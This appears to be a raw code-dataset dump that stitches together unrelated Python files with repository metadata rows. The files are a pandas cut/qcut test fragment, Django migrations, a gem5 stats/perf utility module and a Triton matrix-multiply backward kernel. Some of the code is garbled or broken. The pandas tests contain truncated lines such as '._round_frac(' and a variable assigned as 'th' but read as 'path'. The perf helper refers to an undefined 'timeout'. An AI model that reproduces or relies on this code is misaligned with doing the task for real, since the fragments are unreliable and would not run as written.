tm.assert_categorical_equal(labels, ex_levels)
def test_qcut_bounds(self):
arr = np.random.randn(1000)
factor = qcut(arr, 10, labels=False)
assert len(np.unique(factor)) == 10
def test_qcut_specify_quantiles(self):
arr = np.random.randn(100)
factor = qcut(arr, [0, .25, .5, .75, 1.])
expected = qcut(arr, 4)
tm.assert_categorical_equal(factor, expected)
def test_qcut_all_bins_same(self):
tm.assert_raises_regex(ValueError, "edges.*unique", qcut,
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], 3)
def test_cut_out_of_bounds(self):
arr = np.random.randn(100)
result = cut(arr, [-1, 0, 1])
mask = isna(result)
ex_mask = (arr < -1) | (arr > 1)
tm.assert_numpy_array_equal(mask, ex_mask)
def test_cut_pass_labels(self):
arr = [50, 5, 10, 15, 20, 30, 70]
bins = [0, 25, 50, 100]
labels = ['Small', 'Medium', 'Large']
result = cut(arr, bins, labels=labels)
exp = Categorical(['Medium'] + 4 * ['Small'] + ['Medium', 'Large'],
categories=labels,
ordered=True)
tm.assert_categorical_equal(result, exp)
result = cut(arr, bins, labels=Categorical.from_codes([0, 1, 2],
labels))
exp = Categorical.from_codes([1] + 4 * [0] + [1, 2], labels)
tm.assert_categorical_equal(result, exp)
labels = ['Good', 'Medium', 'Bad']
result = cut(arr, 3, labels=labels)
exp = cut(arr, 3, labels=Categorical(labels, categories=labels,
ordered=True))
tm.assert_categorical_equal(result, exp)
def test_qcut_include_lowest(self):
values = np.arange(10)
ii = qcut(values, 4)
ex_levels = IntervalIndex(
[Interval(-0.001, 2.25),
Interval(2.25, 4.5),
Interval(4.5, 6.75),
Interval(6.75, 9)])
tm.assert_index_equal(ii.categories, ex_levels)
def test_qcut_nas(self):
arr = np.random.randn(100)
arr[:20] = np.nan
result = qcut(arr, 4)
assert isna(result[:20]).all()
def test_qcut_index(self):
result = qcut([0, 2], 2)
intervals = [Interval(-0.001, 1), Interval(1, 2)]
expected = Categorical(intervals, ordered=True)
tm.assert_categorical_equal(result, expected)
def test_round_frac(self):
result = cut(np.arange(11.), 2)
result = cut(np.arange(11.) / 1e10, 2)
._round_frac(-117.9998, precision=3)
assert result == -118
result = tmod._round_frac(117.9998, precision=3)
assert result == 118
result = tmod._round_frac(117.9998, precision=2)
assert result == 118
result = tmod._round_frac(0.000123456, precision=2)
assert result == 0.00012
def test_qcut_binning_issues(self):
th = os.path.join(tm.get_data_path(), 'cut_data.csv')
arr = np.loadtxt(path)
result = qcut(arr, 20)
starts = []
ends = []
for lev in np.unique(result):
s = lev.left
e = lev.right
assert s != e
starts.append(float(s))
ends.append(float(e))
for (sp, sn), (ep, en) in zip(zip(starts[:-1], starts[1:]),
zip(ends[:-1], ends[1:])):
assert sp < sn
assert ep < en
assert ep <= sn
def test_cut_return_intervals(self):
s = Series([0, 1, 2, 3, 4, 5, 6, 7, 8])
res = cut(s, 3)
exp_bins = np.linspace(0, 8, num=4).round(3)
exp_bins[0] -= 0.008
exp = Series(IntervalIndex.from_breaks(exp_bins, closed='right').take(
[0, 0, 0, 1, 1, 1, 2, 2, 2])).astype(CDT(ordered=True))
tm.assert_series_equal(res, exp)
def test_qcut_return_intervals(self):
s = Series([0, 1, 2, 3, 4, 5, 6, 7, 8])
res = qcut(s, [0, 0.333, 0.666, 1])
exp_levels = np.array([Interval(-0.001, 2.664),
Interval(2.664, 5.328), Interval(5.328, 8)])
exp = Series(exp_levels.take([0, 0, 0, 1, 1, 1, 2, 2, 2])).astype(
CDT(ordered=True))
tm.assert_series_equal(res, exp)
def test_series_retbins(self):
s = Series(np.arange(4))
result, bins = cut(s, 2, retbins=True)
expected = Series(IntervalIndex.from_breaks(
[-0.003, 1.5, 3], closed='right').repeat(2)).astype(
CDT(ordered=True))
tm.assert_series_equal(result, expected)
result, bins = qcut(s, 2, retbins=True)
expected = Series(IntervalIndex.from_breaks(
[-0.001, 1.5, 3], closed='right').repeat(2)).astype(
CDT(ordered=True))
tm.assert_series_equal(result, expected)
def test_qcut_duplicates_bin(self):
values = [0, 0, 0, 0, 1, 2, 3]
expected = IntervalIndex([Interval(-0.001, 1), Interval(1, 3)])
result = qcut(values, 3, duplicates='drop')
tm.assert_index_equal(result.categories, expected)
pytest.raises(ValueError, qcut, values, 3)
pytest.raises(ValueError, qcut, values, 3, duplicates='raise')
pytest.raises(ValueError, qcut, values, 3, duplicates='foo')
def test_single_quantile(self):
expected = Series([0, 0])
s = Series([9., 9.])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(8.999, 9.0),
Interval(8.999, 9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([-9., -9.])
expected = Series([0, 0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-9.001, -9.0),
Interval(-9.001, -9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([0., 0.])
expected = Series([0, 0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-0.001, 0.0),
Interval(-0.001, 0.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([9])
expected = Series([0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(8.999, 9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([-9])
expected = Series([0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-9.001, -9.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
s = Series([0])
expected = Series([0])
result = qcut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
result = qcut(s, 1)
intervals = IntervalIndex([Interval(-0.001, 0.0)], closed='right')
expected = Series(intervals).astype(CDT(ordered=True))
tm.assert_series_equal(result, expected)
def test_single_bin(self):
expected = Series([0, 0])
s = Series([9., 9.])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
s = Series([-9., -9.])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
expected = Series([0])
s = Series([9])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
s = Series([-9])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
expected = Series([0, 0])
s = Series([0., 0.])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
expected = Series([0])
s = Series([0])
result = cut(s, 1, labels=False)
tm.assert_series_equal(result, expected)
def test_datetime_cut(self):
data = to_datetime(Series(['2013-01-01', '2013-01-02', '2013-01-03']))
result, bins = cut(data, 3, retbins=True)
expected = (
Series(IntervalIndex([
Interval(Timestamp('2012-12-31 23:57:07.200000'),
Timestamp('2013-01-01 16:00:00')),
Interval(Timestamp('2013-01-01 16:00:00'),
Timestamp('2013-01-02 08:00:00')),
Interval(Timestamp('2013-01-02 08:00:00'),
Timestamp('2013-01-03 00:00:00'))]))
.astype(CDT(ordered=True)))
tm.assert_series_equal(result, expected)
data = [np.datetime64('2013-01-01'), np.datetime64('2013-01-02'),
np.datetime64('2013-01-03')]
result, bins = cut(data, 3, retbins=True)
tm.assert_series_equal(Series(result), expected)
data = np.array([np.datetime64('2013-01-01'),
np.datetime64('2013-01-02'),
np.datetime64('2013-01-03')])
result, bins = cut(data, 3, retbins=True)
tm.assert_series_equal(Series(result), expected)
data = DatetimeIndex(['2013-01-01', '2013-01-02', '2013-01-03'])
result, bins = cut(data, 3, retbins=True)
tm.assert_series_equal(Series(result), expected)
def test_datetime_bin(self):
data = [np.datetime64('2012-12-13'), np.datetime64('2012-12-15')]
bin_data = ['2012-12-12', '2012-12-14', '2012-12-16']
expected = (
Series(IntervalIndex([
Interval(Timestamp(bin_data[0]), Timestamp(bin_data[1])),
Interval(Timestamp(bin_data[1]), Timestamp(bin_data[2]))]))
.astype(CDT(ordered=True)))
for conv in [Timestamp, Timestamp, np.datetime64]:
bins = [conv(v) for v in bin_data]
result = cut(data, bins=bins)
tm.assert_series_equal(Series(result), expected)
bin_pydatetime = [Timestamp(v).to_pydatetime() for v in bin_data]
result = cut(data, bins=bin_pydatetime)
tm.assert_series_equal(Series(result), expected)
bins = to_datetime(bin_data)
result = cut(data, bins=bin_pydatetime)
tm.assert_series_equal(Series(result), expected)
def test_datetime_nan(self):
def f():
cut(date_range('20130101', periods=3), bins=[0, 2, 4])
pytest.raises(ValueError, f)
result = cut(date_range('20130102', periods=5),
bins=date_range('20130101', periods=2))
mask = result.categories.isna()
tm.assert_numpy_array_equal(mask, np.array([False]))
mask = result.isna()
tm.assert_numpy_array_equal(
mask, np.array([False, True, True, True, True]))
@pytest.mark.parametrize(
"array_1_writeable, array_2_writeable",
[(True, True), (True, False), (False, False)])
def test_cut_read_only(self, array_1_writeable, array_2_writeable):
array_1 = np.arange(0, 100, 10)
array_1.flags.writeable = array_1_writeable
array_2 = np.arange(0, 100, 10)
array_2.flags.writeable = array_2_writeable
hundred_elements = np.arange(100)
tm.assert_categorical_equal(cut(hundred_elements, array_1),
cut(hundred_elements, array_2))
| true | true |
f7262bc097e3f3237af10e09e9f2a090111ba335 | 639 | py | Python | app1/migrations/0029_auto_20200630_0454.py | vashuteotia123/zbcvit | da29b3281ccc87481a264b63c5b6c3a549945f33 | [
"MIT"
] | 6 | 2021-09-16T16:46:56.000Z | 2022-02-06T13:00:08.000Z | app1/migrations/0029_auto_20200630_0454.py | vashuteotia123/zbcvit | da29b3281ccc87481a264b63c5b6c3a549945f33 | [
"MIT"
] | null | null | null | app1/migrations/0029_auto_20200630_0454.py | vashuteotia123/zbcvit | da29b3281ccc87481a264b63c5b6c3a549945f33 | [
"MIT"
] | 1 | 2021-09-14T09:26:58.000Z | 2021-09-14T09:26:58.000Z | # Generated by Django 3.0.6 on 2020-06-30 04:54
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app1', '0028_resources_resource_date_time'),
]
operations = [
migrations.AlterField(
model_name='resources',
name='resource_content',
field=models.CharField(max_length=100),
),
migrations.AlterField(
model_name='resources',
name='resource_date_time',
field=models.DateTimeField(default=datetime.datetime(2020, 6, 30, 4, 54, 42, 601836)),
),
]
| 25.56 | 98 | 0.613459 |
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app1', '0028_resources_resource_date_time'),
]
operations = [
migrations.AlterField(
model_name='resources',
name='resource_content',
field=models.CharField(max_length=100),
),
migrations.AlterField(
model_name='resources',
name='resource_date_time',
field=models.DateTimeField(default=datetime.datetime(2020, 6, 30, 4, 54, 42, 601836)),
),
]
| true | true |
f7262bf49b112b6af91f95cf730a2d48d81c073f | 35 | py | Python | tests/components/halohome/__init__.py | nayaverdier/core | 7352602e47c2de0e54a20f427559c00bad2cd7b8 | [
"Apache-2.0"
] | null | null | null | tests/components/halohome/__init__.py | nayaverdier/core | 7352602e47c2de0e54a20f427559c00bad2cd7b8 | [
"Apache-2.0"
] | null | null | null | tests/components/halohome/__init__.py | nayaverdier/core | 7352602e47c2de0e54a20f427559c00bad2cd7b8 | [
"Apache-2.0"
] | null | null | null | """HALO Home integration tests."""
| 17.5 | 34 | 0.685714 | true | true | |
f7262d295996bb4520eaf83ad3c5682b56392b0c | 4,741 | py | Python | lapidary/Utils.py | efeslab/dolma | 039c5ed768bc879a83424075ccccf3bbd31794ae | [
"BSD-3-Clause"
] | 6 | 2021-01-02T18:29:22.000Z | 2021-10-03T18:55:01.000Z | lapidary/Utils.py | efeslab/dolma | 039c5ed768bc879a83424075ccccf3bbd31794ae | [
"BSD-3-Clause"
] | 2 | 2021-02-15T15:34:34.000Z | 2022-01-30T17:46:00.000Z | lapidary/Utils.py | efeslab/dolma | 039c5ed768bc879a83424075ccccf3bbd31794ae | [
"BSD-3-Clause"
] | 3 | 2020-10-23T14:10:39.000Z | 2021-11-16T10:00:40.000Z | import json
from pathlib import Path
from pprint import pprint
import re, os
from time import sleep
class StatsFile:
def __init__(self, file_path):
self.current_offset = 0
self.file_size = 0
self.file_path = file_path
self.cached_stats = {}
self.backup_file_path = file_path.parent / "stats.backup.txt"
self.backup_stats = ''
def __del__(self):
print('Cleaning stats...')
if self.file_path.exists():
self.file_path.unlink()
if self.backup_file_path.exists():
self.backup_file_path.unlink()
with self.backup_file_path.open('w') as bk:
bk.write(self.backup_stats)
def get_current_stats(self):
import m5
stats = {}
m5.stats.dump()
if self.file_size == self.file_path.stat().st_size:
return self.cached_stats
with self.file_path.open('r') as fd:
tmp = fd.read()
self.backup_stats = tmp[self.current_offset:]
with self.file_path.open() as fd:
fd.seek(self.current_offset)
for line in fd:
if '--------' in line or len(line.strip()) == 0:
continue
pieces = [x for x in line.split(' ') if len(x.strip()) > 0]
if len(pieces) > 1:
key = pieces[0].strip()
val = pieces[1].strip()
stats[key] = val
self.current_offset = fd.tell()
self.cached_stats = stats
with self.file_path.open('w') as f:
f.truncate()
size = self.file_path.stat().st_size
self.file_size = size
return stats
def parse_perf_output_insts(stderr_str):
inst_pattern = re.compile('([0-9\,]+)\s*instructions')
for line in stderr_str.split('\n'):
line = line.strip()
matches = inst_pattern.match(line)
if matches is not None:
return int(matches.group(1).replace(',',''))
def get_num_insts_perf(cmd):
from subprocess import run, PIPE
if type(cmd) == str:
cmd = [cmd]
perf = ['perf', 'stat', '-e', 'instructions']
proc = run(perf + cmd, stdout=PIPE, stderr=PIPE)
return parse_perf_output_insts(proc.stderr.decode('ascii'))
def get_num_insts_perf_from_pid(pid):
from subprocess import Popen, PIPE
perf = ['perf', 'stat', '-e', 'instructions', '-p', str(pid)]
proc = Popen(perf, stdout=PIPE, stderr=PIPE)
sleep(timeout)
proc.terminate()
proc.wait()
return parse_perf_output_insts(proc.stderr.decode('ascii'))
def parse_mem_size_string(mem_size_str):
mem_pattern = re.compile(r'([0-9]+)([kmgKMG][bB])?')
matches = mem_pattern.match(mem_size_str)
if not matches:
raise Exception('{} is not a valid memory size!'.format(mem_size_str))
mem_size = int(matches.group(1))
try:
size_modifier = matches.group(2).lower()
if 'kb' in size_modifier:
mem_size *= 1024
if 'mb' in size_modifier:
mem_size *= (1024 ** 2)
if 'gb' in size_modifier:
mem_size *= (1024 ** 3)
except:
pass
return mem_size
def select_at_random(list_of_things, num_to_select):
import random
return random.sample(list_of_things, num_to_select)
def select_evenly_spaced(list_or_dict, num_to_select):
from natsort import natsorted, ns
from copy import copy
if num_to_select > len(list_or_dict):
return copy(list_or_dict)
sorted_keys = natsorted(list_or_dict, alg=ns.IGNORECASE)
# https://en.wikipedia.org/wiki/Bresenham%27s_line_algorithm
f = lambda m, n: [i*n//m + n//(2*m) for i in range(m)]
indices = f(num_to_select, len(sorted_keys))
sublist = [ sorted_keys[i] for i in indices ]
if isinstance(list_or_dict, list):
return sublist
return { k: list_or_dict[k] for k in sublist }
def get_mem_size_from_mappings_file(mappings_file):
assert isinstance(mappings_file, Path)
with mappings_file.open() as f:
mappings = json.load(f)
return mappings['mem_size']
def get_directory_entries_by_time(directory_path):
from natsort import natsorted
assert isinstance(directory_path, Path)
get_name = lambda d: str(d.name)
return natsorted(directory_path.iterdir(), key=get_name)
def _get_msr(identifier):
import ctypes
libc = ctypes.CDLL(None)
syscall = libc.syscall
SYS_arch_prctl = 158
ret_val = ctypes.c_uint64()
syscall(SYS_arch_prctl, identifier, ctypes.pointer(ret_val))
return ret_val.value
def get_fs_base():
ARCH_GET_FS = 0x1003
return _get_msr(ARCH_GET_FS)
def get_gs_base():
ARCH_GET_GS = 0x1004
return _get_msr(ARCH_GET_GS)
| 30.986928 | 78 | 0.62645 | import json
from pathlib import Path
from pprint import pprint
import re, os
from time import sleep
class StatsFile:
def __init__(self, file_path):
self.current_offset = 0
self.file_size = 0
self.file_path = file_path
self.cached_stats = {}
self.backup_file_path = file_path.parent / "stats.backup.txt"
self.backup_stats = ''
def __del__(self):
print('Cleaning stats...')
if self.file_path.exists():
self.file_path.unlink()
if self.backup_file_path.exists():
self.backup_file_path.unlink()
with self.backup_file_path.open('w') as bk:
bk.write(self.backup_stats)
def get_current_stats(self):
import m5
stats = {}
m5.stats.dump()
if self.file_size == self.file_path.stat().st_size:
return self.cached_stats
with self.file_path.open('r') as fd:
tmp = fd.read()
self.backup_stats = tmp[self.current_offset:]
with self.file_path.open() as fd:
fd.seek(self.current_offset)
for line in fd:
if '--------' in line or len(line.strip()) == 0:
continue
pieces = [x for x in line.split(' ') if len(x.strip()) > 0]
if len(pieces) > 1:
key = pieces[0].strip()
val = pieces[1].strip()
stats[key] = val
self.current_offset = fd.tell()
self.cached_stats = stats
with self.file_path.open('w') as f:
f.truncate()
size = self.file_path.stat().st_size
self.file_size = size
return stats
def parse_perf_output_insts(stderr_str):
inst_pattern = re.compile('([0-9\,]+)\s*instructions')
for line in stderr_str.split('\n'):
line = line.strip()
matches = inst_pattern.match(line)
if matches is not None:
return int(matches.group(1).replace(',',''))
def get_num_insts_perf(cmd):
from subprocess import run, PIPE
if type(cmd) == str:
cmd = [cmd]
perf = ['perf', 'stat', '-e', 'instructions']
proc = run(perf + cmd, stdout=PIPE, stderr=PIPE)
return parse_perf_output_insts(proc.stderr.decode('ascii'))
def get_num_insts_perf_from_pid(pid):
from subprocess import Popen, PIPE
perf = ['perf', 'stat', '-e', 'instructions', '-p', str(pid)]
proc = Popen(perf, stdout=PIPE, stderr=PIPE)
sleep(timeout)
proc.terminate()
proc.wait()
return parse_perf_output_insts(proc.stderr.decode('ascii'))
def parse_mem_size_string(mem_size_str):
mem_pattern = re.compile(r'([0-9]+)([kmgKMG][bB])?')
matches = mem_pattern.match(mem_size_str)
if not matches:
raise Exception('{} is not a valid memory size!'.format(mem_size_str))
mem_size = int(matches.group(1))
try:
size_modifier = matches.group(2).lower()
if 'kb' in size_modifier:
mem_size *= 1024
if 'mb' in size_modifier:
mem_size *= (1024 ** 2)
if 'gb' in size_modifier:
mem_size *= (1024 ** 3)
except:
pass
return mem_size
def select_at_random(list_of_things, num_to_select):
import random
return random.sample(list_of_things, num_to_select)
def select_evenly_spaced(list_or_dict, num_to_select):
from natsort import natsorted, ns
from copy import copy
if num_to_select > len(list_or_dict):
return copy(list_or_dict)
sorted_keys = natsorted(list_or_dict, alg=ns.IGNORECASE)
f = lambda m, n: [i*n//m + n//(2*m) for i in range(m)]
indices = f(num_to_select, len(sorted_keys))
sublist = [ sorted_keys[i] for i in indices ]
if isinstance(list_or_dict, list):
return sublist
return { k: list_or_dict[k] for k in sublist }
def get_mem_size_from_mappings_file(mappings_file):
assert isinstance(mappings_file, Path)
with mappings_file.open() as f:
mappings = json.load(f)
return mappings['mem_size']
def get_directory_entries_by_time(directory_path):
from natsort import natsorted
assert isinstance(directory_path, Path)
get_name = lambda d: str(d.name)
return natsorted(directory_path.iterdir(), key=get_name)
def _get_msr(identifier):
import ctypes
libc = ctypes.CDLL(None)
syscall = libc.syscall
SYS_arch_prctl = 158
ret_val = ctypes.c_uint64()
syscall(SYS_arch_prctl, identifier, ctypes.pointer(ret_val))
return ret_val.value
def get_fs_base():
ARCH_GET_FS = 0x1003
return _get_msr(ARCH_GET_FS)
def get_gs_base():
ARCH_GET_GS = 0x1004
return _get_msr(ARCH_GET_GS)
| true | true |
f7262d782adc22a7c34947e4dd8321f0a9a524dc | 767 | py | Python | src/shop/migrations/0038_auto_20170323_2021.py | flokli/bornhack-website | 9dd6b0b23c2e6b1fb2c5f03a8766d4aa96d4443d | [
"BSD-3-Clause"
] | 7 | 2017-04-14T15:28:29.000Z | 2021-09-10T09:45:38.000Z | src/shop/migrations/0038_auto_20170323_2021.py | flokli/bornhack-website | 9dd6b0b23c2e6b1fb2c5f03a8766d4aa96d4443d | [
"BSD-3-Clause"
] | 799 | 2016-04-28T09:31:50.000Z | 2022-03-29T09:05:02.000Z | src/shop/migrations/0038_auto_20170323_2021.py | flokli/bornhack-website | 9dd6b0b23c2e6b1fb2c5f03a8766d4aa96d4443d | [
"BSD-3-Clause"
] | 35 | 2016-04-28T09:23:53.000Z | 2021-05-02T12:36:01.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-03-23 19:21
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [("shop", "0037_auto_20170319_2204")]
operations = [
migrations.AlterField(
model_name="order",
name="payment_method",
field=models.CharField(
blank=True,
choices=[
("credit_card", "Credit card"),
("blockchain", "Blockchain"),
("bank_transfer", "Bank transfer"),
("cash", "Cash"),
],
default="",
max_length=50,
),
)
]
| 26.448276 | 56 | 0.494133 |
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [("shop", "0037_auto_20170319_2204")]
operations = [
migrations.AlterField(
model_name="order",
name="payment_method",
field=models.CharField(
blank=True,
choices=[
("credit_card", "Credit card"),
("blockchain", "Blockchain"),
("bank_transfer", "Bank transfer"),
("cash", "Cash"),
],
default="",
max_length=50,
),
)
]
| true | true |
f7262d80fffdbffc0cf859384e8240918a32ea46 | 31,714 | py | Python | python/rz_linear/impl/RzLinearBackward.py | Jokeren/RzLinear | d318d95254cd5c3dcf814774d22dc71179450aa0 | [
"MIT"
] | null | null | null | python/rz_linear/impl/RzLinearBackward.py | Jokeren/RzLinear | d318d95254cd5c3dcf814774d22dc71179450aa0 | [
"MIT"
] | null | null | null | python/rz_linear/impl/RzLinearBackward.py | Jokeren/RzLinear | d318d95254cd5c3dcf814774d22dc71179450aa0 | [
"MIT"
] | null | null | null | from typing import Tuple
import torch
import triton
import triton.language as tl
def rz_linear_backward_tl(input: torch.tensor, hashed_weight: torch.tensor, output_grad: torch.tensor,
M: int, K: int, N: int, H: int,
R3: int, R2: int, R1: int, R0: int,
allow_tf32: bool = True, allow_autotune: bool = False,
BLOCK_SIZE_M: int = 64, BLOCK_SIZE_N: int = 64, BLOCK_SIZE_K: int = 32,
GROUP_SIZE: int = 4) -> Tuple[torch.tensor, torch.tensor]:
input_grad = rz_linear_backward_input_grad_tl(output_grad, hashed_weight, M, K, N, H, R3, R2, R1, R0, allow_tf32=allow_tf32, allow_autotune=allow_autotune,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
weight_grad = rz_linear_backward_weight_grad_tl(input, output_grad, M, K, N, H, R3, R2, R1, R0, allow_tf32=allow_tf32, allow_autotune=allow_autotune,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
return input_grad, weight_grad
def rz_linear_backward_weight_grad_tl(input: torch.tensor, output_grad: torch.tensor,
M: int, K: int, N: int, H: int,
R3: int, R2: int, R1: int, R0: int,
allow_tf32: bool = True, allow_autotune: bool = True,
BLOCK_SIZE_M: int = 64, BLOCK_SIZE_N: int = 64, BLOCK_SIZE_K: int = 32,
GROUP_SIZE: int = 8) -> torch.tensor:
'''
Compute input^T x output_grad and return a weight_grad tensor
Args:
input (Tensor): A MxK tensor
output_grad (Tensor): A MxN tensor
M, K, N, H (int): Matrix dimensions
R3, R2, R1, R0 (int): Random numbers
allow_tf32 (bool): If tensor core is allowed
BLOCK_SIZE_M, BLOCK_SIZE_N, BLOCK_SIZE_K, GROUP_SIZE: Matrix tiling parameters for performance tunning
Returns:
hashed_weight_grad (Tensor): A 1xH tensor
'''
assert (K % 4 == 0)
assert (N % 4 == 0)
# allocates output
hashed_weight_grad = torch.zeros(
(H), device=output_grad.device, dtype=output_grad.dtype)
# 1D launch kernel where each block gets its own program.
def grid(META): return (
triton.cdiv(K, META['BLOCK_SIZE_K']) *
triton.cdiv(N, META['BLOCK_SIZE_N']),
)
if allow_tf32:
assert (M % 32 == 0)
else:
assert (M % 8 == 0)
if allow_autotune:
if allow_tf32:
rz_linear_backward_weight_grad_kernel_tf32[grid](
input, output_grad, hashed_weight_grad,
M, N, K, H,
input.stride(1), input.stride(0),
output_grad.stride(0), output_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_weight_grad_kernel_fp32[grid](
input, output_grad, hashed_weight_grad,
M, N, K, H,
input.stride(1), input.stride(0),
output_grad.stride(0), output_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
GROUP_SIZE=GROUP_SIZE
)
else:
rz_linear_backward_weight_grad_kernel_notune[grid](
input, output_grad, hashed_weight_grad,
M, N, K, H,
input.stride(1), input.stride(0),
output_grad.stride(0), output_grad.stride(1),
R3=R3, R2=R2, R1=R1, R0=R0,
allow_tf32=allow_tf32,
GROUP_SIZE=GROUP_SIZE,
BLOCK_SIZE_K=BLOCK_SIZE_K,
BLOCK_SIZE_M=BLOCK_SIZE_M,
BLOCK_SIZE_N=BLOCK_SIZE_N
)
return hashed_weight_grad
@triton.autotune(
configs=[
# basic configs for compute-bound matmuls
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 32}, num_stages=4, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 64, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 32, 'BLOCK_SIZE_K': 64,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 32,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
triton.Config({'BLOCK_SIZE_N': 32, 'BLOCK_SIZE_K': 128,
'BLOCK_SIZE_M': 16}, num_stages=2, num_warps=4),
],
key=['M', 'N', 'K'],
)
@triton.jit
def rz_linear_backward_weight_grad_kernel_fp32(
# Pointers to matrices
a_ptr, b_ptr, c_ptr,
# Matrix dimensions
M, N, K, H,
# The stride variables represent how much to increase the ptr by when moving by 1
# element in a particular dimension.
stride_am, stride_ak,
stride_bm, stride_bn,
# Random numbers
R3, R2, R1, R0,
# Meta-parameters
BLOCK_SIZE_M: tl.constexpr, BLOCK_SIZE_N: tl.constexpr, BLOCK_SIZE_K: tl.constexpr,
GROUP_SIZE: tl.constexpr
):
rz_linear_backward_weight_grad_core(a_ptr=a_ptr, b_ptr=b_ptr, c_ptr=c_ptr, M=M, N=N, K=K, H=H,
stride_am=stride_am, stride_ak=stride_ak, stride_bm=stride_bm, stride_bn=stride_bn,
R3=R3, R2=R2, R1=R1, R0=R0, allow_tf32=False,
BLOCK_SIZE_M=BLOCK_SIZE_M, BLOCK_SIZE_N=BLOCK_SIZE_N, BLOCK_SIZE_K=BLOCK_SIZE_K,
GROUP_SIZE=GROUP_SIZE)
@triton.autotune(
configs=[
# basic configs for compute-bound matmuls
triton.Config({'BLOCK_SIZE_N': 128, 'BLOCK_SIZE_K': 256,
'BLOCK_SIZE_M': 32}, num_stages=3, num_warps=8),
triton.Config({'BLOCK_SIZE_N': 256, 'BLOCK_SIZE_K': 128,
